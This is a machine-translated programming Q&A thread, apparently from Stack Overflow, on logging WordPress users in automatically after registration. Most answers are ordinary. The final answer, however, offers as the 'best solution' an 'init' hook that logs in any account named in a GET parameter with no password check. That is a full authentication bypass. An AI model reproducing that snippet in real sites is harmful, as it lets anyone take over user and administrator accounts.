2013-04-24 144 views
1

我想在注册后自动登录用户。注册后的自动登录用户Wordpress

我想这(的functions.php):

add_action('user_register', 'auto_login_user'); 
    function auto_login_user($user_id) { 
     $user = new WP_User($user_id); 
     $user_login_var = $user->user_login; 
     $user_email_var = stripslashes($user->user_email); 
     $user_pass_var = $user->user_pass; 
     $creds = array(); 
     $creds['user_login'] = $user_login_var; 
     $creds['user_password'] = $user_pass_var; 
     $creds['remember'] = true; 
     $user = wp_signon($creds, false); 
     if (is_wp_error($user)) 
     echo $user->get_error_message(); 

} 

我收到错误:你的用户名 “TheNewUserCreated” 输入的密码不正确。忘记密码?

如何从用户对象获取密码?

也因为这是模板的自定义注册过程和registration.php我试图把它与$ _ POST并在该文件运行该功能,但我没有任何成功,这样太...

编辑: 好吧,我正在获取加密的密码,那么这里有什么解决方案,我该如何自动登录用户?也许我可以在registration.php页面做到这一点?

+0

详细的博客:http://sforsuresh.in/auto-login-wordpress/ – 2018-01-09 10:42:49

回答

1

如果您使用wp_insert_user();注册您的用户,然后自动登录它很简单。 如果成功,此函数返回用户ID,因此请使用它来登录该用户。

$id = wp_insert_user($data); 
//so if the return is not an wp error object then continue with login 
if(!is_wp_error($id)){ 
    wp_set_current_user($id); // set the current wp user 
    wp_set_auth_cookie($id); // start the cookie for the current registered user 
} 

,但跟着你有什么就可以是这样的:

add_action('user_register', 'auto_login_user'); 
function auto_login_user($user_id) { 
    wp_set_current_user($user_id); // set the current wp user 
    wp_set_auth_cookie($user_id); // start the cookie for the current registered user 
} 
//this code is a bit tricky, if you are admin and you want to create a user then your admin session will be replaced with the new user you created :) 
1
Add below function to "functions.php" 

function auto_login_new_user($user_id) { 
     wp_set_current_user($user_id); 
     wp_set_auth_cookie($user_id); 
      // You can change home_url() to the specific URL,such as 
     //wp_redirect('http://www.wpcoke.com'); 
     wp_redirect(home_url()); 
     exit; 
    } 
    add_action('user_register', 'auto_login_new_user'); 
0
function auto_login() { 
      $getuserdata=get_user_by('login',$_GET['login']); 
      $tuserid=$getuserdata->ID; 
      $user_id = $tuserid; 
      $user = get_user_by('id', $user_id); 
      if($user) { 
       wp_set_current_user($user_id, $user->user_login); 
       wp_set_auth_cookie($user_id); 
       do_action('wp_login', $user->user_login); 

      } 
     } 
     add_action('init', 'auto_login'); 

我有有同样的问题,因为你,发现这个最佳的解决方案。在你的functions.php文件中试试这个。还有一件事更多使用提交您的重置表单在函数function.php文件